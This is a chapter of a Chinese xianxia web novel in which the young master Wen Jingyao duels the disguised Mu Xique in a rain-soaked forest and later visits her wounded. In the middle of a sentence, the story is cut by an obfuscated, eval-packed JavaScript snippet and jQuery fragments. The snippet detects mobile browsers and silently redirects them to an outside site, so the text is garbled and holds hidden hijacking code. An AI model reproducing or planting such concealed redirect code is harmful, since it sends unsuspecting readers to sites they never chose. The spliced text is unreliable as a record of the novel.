6.第 6 章
作品:《重回宿敌年少时》 主城巷道多,分为八大街,闻家弟子每日需在酉时巡街,闻惊遥虽是少主,这巡街的活却也是从十岁便开始干了。
他在戌时跟交班弟子对接完,看了眼天,已然黑透,没忘记慕夕阙交代的事情,转身便往城南走。
城南一处巷道里,有户姓张的糕点铺子开了有几十年了,慕夕阙幼时来玩便时常去买那家的糖蒸板栗,闻惊遥赶去后刚好赶上最后一笼出锅。
“闻少主,来了?”经营糕点铺子的是对老夫妻,年迈的张伯见他一来,密布细纹的眼睛弯起,“还是糖蒸板栗?”
闻惊遥将银两递过去:“对,麻烦帮我包一份。”
张伯连声应下,取出油纸熟练包好,冒着热气的板栗清甜。
“多谢。”闻惊遥接过包好的板栗,转身离开,他与慕夕阙约定的时间是亥时,如今只剩不到一个时辰了。
街上没多少人,想到家里那位大小姐,少年脚步快了些,一路往闻家主宅走,沿路遇到百姓朝他打招呼,也只是礼貌颔首应下,并未驻足停留。
倏然之间,闻惊遥停下,回身看去,目光冷淡,眉眼也阴沉了几分。
袖中闻家玉牌亮了起来。
“少主,城北结界玉灵异样,有血气。”
“嗯,我现在去。”将板栗收入乾坤袋,闻惊遥片刻未曾犹豫,纵身跃上房檐,在青瓦上迅速瞬移,急速奔向城北。
房舍一间间后退,元婴满境的修士用了灵力瞬移,往日需步行一个时辰的路,他两刻钟便赶到了。
刚下过一场雨,地面泥泞,闻惊遥还未靠近城郊密林便感知到浓重的血气,他心下一沉,跃上一棵几十丈高的松木,开阔的视野一览无余。
满地横尸。
他来到一具尸身前,半蹲下来抬手翻看,这些尸身上都烙了灵印,应当是大家族那些贵客从牢里捞出的死囚,豢养成死士或影卫,替主子办些不方便出手的事情。
然而如今一个不剩,死状统一,全是抹了脖子一击毙命,下手的人应当没少干这种事,杀法果断,命门找得极准,不给半分活命机会。
闻惊遥拧眉,从他感知到灵力波动到他赶来不过两刻钟,这人能在这般短的时间里杀了十几人,修为定然不低,瞧这手法,像极了十三州那些刀尖过活的亡命徒。
炸起的惊雷照亮了密林,雨水冲刷尸身,血水淌了满地,闻惊遥起身,拽下腰间玉牌淡声开口:“直接来城北密林。”
闻家玉牌亮了瞬,接着有年轻的声音传来:“是。”
青影在林间快速奔移,闻惊遥一路上将十三州高手过了个遍,甚至连远在海外仙岛的影杀都想过,却唯独没想到,待瞬移至密林尽头,瞧见的会是……
一个模样极其年轻的女子。
闷雷炸起,照亮这方林中的惨状,两人隔着雨幕对视。
闻惊遥会出现在这里,也是慕夕阙属实没想到的。
他今日当值西街,巡完街后应当正好戌时,慕夕阙特意叮嘱要吃城南那家的糖蒸板栗,闻惊遥赶过去买,还需在亥正前赶回闻家主宅,按理应当不会出现在旁的地方,尤其这是城北荒郊。
……是玉灵。
慕夕阙反应过来。
闻家兵力强盛,结界玉灵也同样如此,传言比十三州所有世家都要强悍,慕家的玉灵只囊括了慕家主宅,但如今看来,闻家似乎不同。
闻家玉灵可不止囊括了闻家主宅,那是集结了闻家千百年来数位大能的毕生心血,一道坚不可摧的护甲,可以将整个主城包裹其中。
还礼宴连设三日,主城人多,结界玉灵定是全部开启,为时刻监护主城情况,防止祸乱。
她方才杀了太多闻时烨的死士,玉灵察觉到了。
慕夕阙毫不犹豫,抬手拔剑,刀剑风暴瞬息爆发,黑衣被罡风吹得猎猎作响,而那柄长剑挥出了如凤鸣般的剑光,劈开夜幕,直冲闻惊遥而去。
她并不恋战,心知闻惊遥来了这里,那闻家弟子怕是最多两刻钟便能赶来,挥出杀招后转身便跑,冰凉的雨水打在脸上,将额上的碎发打湿黏在鬓边。
身后疾风传来,脊背一寒,慕夕阙回身横剑,金色剑光与青光相撞,炸开的威压让两人同时后退几丈。
“为何杀人?”
闻惊遥旧伤未愈,贸然动用灵力,下唇沾了一点血色,他抬手擦去,一双眸子冷若寒潭幽谷。
慕夕阙还是第一次见少年时期的闻惊遥对她露出这种神情,毫无情谊,只剩审视。
同样是雨夜,同样是他们两人对峙,恍惚间让她想起来前世,她去救长姐却被闻惊遥堵住去路之时。
那晚他就是这般模样,冷眼瞧着孤立无援的她。
冰凉的雨水也浇不灭心里那团憋了多年的火气,慕夕阙在这种时候反而想笑,姿态散漫。
“因为有仇啊。”
她抬手就劈,长剑游龙般朝闻惊遥劈去,下手是绝对的杀招,毫不留情,两人的剑光如星,在瓢泼的大雨中往来交错,唳声赫赫。
直到两柄剑相撞,迸裂的火花照亮彼此的眸子。
擦身而过之时,慕夕阙死死盯着他的眼眸,红唇扯了扯:“欠债还钱,杀人偿命,天经地义不是吗?”
闻惊遥眼都没眨一下,趁两人交错之时,他一手借力抵住来者的剑,一手反转便要去抓慕夕阙的肩扼制住她。
慕夕阙不逃不躲,竟直接往他怀里扑去。
闻惊遥瞳仁微缩,侧身避开,而慕夕阙反手抽出腰间匕首,寒光乍现,刀尖直逼他的心口。
铮——
匕首被抬手攥住,割破他的手心,闻惊遥面无表情,掌心用力划过匕首,隔着衣袖攥住慕夕阙的手腕,他力气极大,下了死劲。
慕夕阙没想到这人竟不躲闪直逼而上,猝不及防被按住,闻惊遥抬手横掌,一掌打在她的肩头,罡风顷刻间震断她的十几根经脉,慕夕阙呕出一口淤血,后背直接被他狠而重地甩上树干,他毫不留手,她觉得自己的肋骨估摸着也碎了根。
闻惊遥沉声:“闻家地界,容你放肆?”
少年抬手翻转,灵力化成的缚仙索现出。
慕夕阙咽下胸口淤血,猛然抬眸冲他一笑:“是吗?”
那张陌生普通的脸乍然一笑,明明他从未见过,心神在那一刻却陡然空了一瞬,恍惚间想起了另一双眼眸,艳丽张扬,看他的时候总带了些慵懒的意味。
下一瞬,缚仙索被刚强的灵力击碎,那把短小的匕首也能挥出至强的杀招,趁少年横剑抵挡之际,慕夕阙瞬移上前。
匕首在她的掌心转了一圈,直捅入少年左肩,割破血肉的声音在两人耳边炸起,她一手推刃,运转灵力将匕首尽数没入他肩中,震出罡风也碎了他数十根经脉。
闻惊遥眉头微拧,手上力道松了一瞬,慕夕阙反手扼住少年修长的脖颈,一个用力将他贯在树干上。
一声闷雷在不远处炸开,两双眼眸短暂相对,慕夕阙勾唇对他笑,活像厉鬼。
“我就放肆,你又能怎样?”
她迅速后退,一个纵身跃上树杈。
闻惊遥拔出肩头匕首,正欲抬脚去追,刚迈出一步,侧方地底猛然钻出根锐利竹尖,眨眼之间,一根接着一根的竹尖从地底冒出,密不透风将他团团围住。
少年目无情绪,仰头看向伫立在最高竹身之上的黑衣少女。
长而韧的青竹被压弯了些,而她轻盈落于其上,居高临下睥睨着被困于阵中的他。
“修为这般高,不如来给我练练阵吧,好好尝尝这万竹阵。”
百根,千根,盈千累万的竹尖移形换位,锋利尖头直冲闻惊遥而去。
慕夕阙头也不回,瞬移离开,黑影快出残风。
密林之中,大雨倾盆,簌簌猎声昭示着那里有场杀斗。
半刻钟后,又一声闷雷炸开。
与此同时,万竹阵中青光滔天,一剑横出,剑声长吟,剑光宛如浩海巨浪,地面如碎裂的蛛网,层层塌陷,那用灵力幻化出的竹子一根根崩裂,变为一缕烟尘。
闻家弟子们赶来之时,昏暗潮湿的林间小道倒了大片枯枝树叶,身量高挑的少年站在一片泥洼之地中正在收剑。
“少主!”闻家弟子上前,“您受伤了!”
闻惊遥今日出门穿了身云青长衫,此刻那身衣裳的尾摆沾了泥泞,而他的左肩之处一道血窟窿正往外冒血,血水浸湿了整个左肩,瞧着便分外骇人。
不仅如此,身上道道刺伤足有十几道,虽称不上致命的程度,却也不是轻伤。
“无事。”
他垂眸弯身,捡起地上掉落的匕首,那匕首模样普通,称不上臻品,随处可买。
“少主,距此一里外有十几具尸身,这……这还有……”那闻家年轻的小弟子看向远处,两具尸身横躺,小弟子唇瓣抖了抖,认出了那人是谁。
“闻长老……”
闻惊遥抬眸,琉璃瞳仁沉静若水,即使死的是他名义上的二叔
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16387978|184069||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,似乎也没什么情绪,淡声吩咐:“全城戒严,不可惊扰百姓,将尸身都带回闻家。”
“是!”闻家弟子拱手行礼,招呼身后的弟子们前去搬尸,又看向身前的闻惊遥,“少主,那您……”
闻惊遥动也不动,盯着手中的匕首看。
那闻家弟子实在瞧不出那把匕首有什么异样,街上随处可买,但见自家少主肩头还在渗血,而他本就旧伤未愈,心下慌张,忙唤他:“少主,您要不先疗伤。”
闻惊遥抬脚便走,步履匆匆。
“少主,少主!”
-
画墨阁还燃着灯,姜榆坐在前院打瞌睡,脑袋一栽一栽。
恍惚间,一缕风从她面前晃过,姜榆吸了吸鼻子,含含糊糊嘟囔:“……师姐?”
她晕晕乎乎,忽然惊醒,懵懵眨了眨眼,面前哪有人?
姜榆揉揉鼻子,有气无力喊:“师姐,你还抽查我功课不,不抽我就回去睡觉了。”
无人回她,姜榆起身,半睡半醒穿过前院来到后院,听到水房有动静,站至门前敲了敲:“师姐,你在沐浴吗,今晚还抽我功课不?”
等了好一会儿,也没听个人回应,姜榆将额头抵在门上,越想越困,强撑着说:“那我走了,师姐,明天你再抽吧。”
话音刚落,紧闭的门陡然打开,姜榆失去借力的位置一个没站稳,低呼一声朝前栽去,眼见面门直砸地板,她吓得连灵力都不知道用。
预料中的疼痛并未袭来,她迎面砸进一个温暖馥郁,尚带有水气的怀抱。
慕夕阙接住她,一个抬手敲了敲她的脑门:“干什么呢,碰瓷?”
这一出将姜榆那点瞌睡虫尽数吓跑了,她忙站直,眨了眨眼,定睛看面前披发的慕夕阙。
她刚沐浴完,及腰青丝披在身后,嫩白的脸也被热气熏得微红,像上了层桃粉胭脂,慕二小姐容貌昳丽,艳绝十三州,就是平日总冷着脸,瞧着脾气不太好的样子。
“师,师姐。”饶是姜榆对着这张脸看了十五年,也禁不住磕巴起来。
“今日练了些什么,我来考你。”慕夕阙裹了裹身上单薄的外衫,绕过姜榆朝前院走去,路上不忘运功将头发烘干。
姜榆双手背在身后,蹦蹦跳跳跟上:“我背了两套阵术呢,还练了师姐上次给的剑诀。”
慕夕阙在石桌旁坐下,抬手斟茶,慢声说:“我看着,你练。”
姜榆拱拳道:“好嘞,师姐看好了!”
院里传来猎猎声响,慕夕阙小口抿茶,偶尔开口指点姜榆,她似乎也有些困了,半撑着脑袋。
闻惊遥到画墨阁的时候瞧见的便是这幅模样,慕夕阙换了身金色衣裙,似乎刚沐浴过,尚未挽发,青丝如瀑般垂落,搭在她的肩头,有些落在桌上,而她一手托腮,宽大的袖摆顺着手腕下滑,露出一截凝脂般细腻的腕子。
姜榆是第一个发现闻惊遥的。
“闻少主,你身上有血!”
慕夕阙侧眸朝他看来,目光落在他肩头的伤处,他这一路赶来并未收拾,衣裳倒是被烘干了,那血窟窿却还在渗血。
她仍旧托腮,并未如姜榆那般惊骇,而是看着他:“你回来了。”
姜榆慌乱翻找乾坤袋,闻惊遥走上前来,淡声阻止:“多谢姜姑娘,我无事,可否让我跟夕阙待会儿?”
“可是你的伤……”姜榆神色踌躇,指了指他的肩头。
闻惊遥脸色不太好,但神情依旧是平日的淡然,说道:“无事,劳姜姑娘忧心。”
“师姐……”姜榆只能犹犹豫豫看看自家师姐。
慕夕阙坐直,将一本剑谱递过去:“剑招迟滞,下盘不稳,只会守不会攻,这本剑法回去练练,半月后我再抽查。”
“师姐。”姜榆小脸一垮,窝窝囊囊说:“我就是个阵修,画个阵施个法,你老让我练体术这些拳脚功夫作甚?”
慕夕阙斜她一眼。
姜榆立马堆起笑,双手接过剑谱连连应和:“练,我练。”
她抱着剑谱,又看了眼闻惊遥,小声说道:“那我先走了,闻少主你跟师姐说话吧。”
她走了,顺带关上了门,院里只剩慕夕阙和闻惊遥两人。
慕夕阙站起来踱步走向闻惊遥,站至他身前一步之遥。
“你受伤了。”纤细的手抬起,指腹轻触少年肩头的伤,慕夕阙抬眸与他对视,闻惊遥眸光仍旧平静,黑沉沉地看着她。
“伤很重,你疼吗?”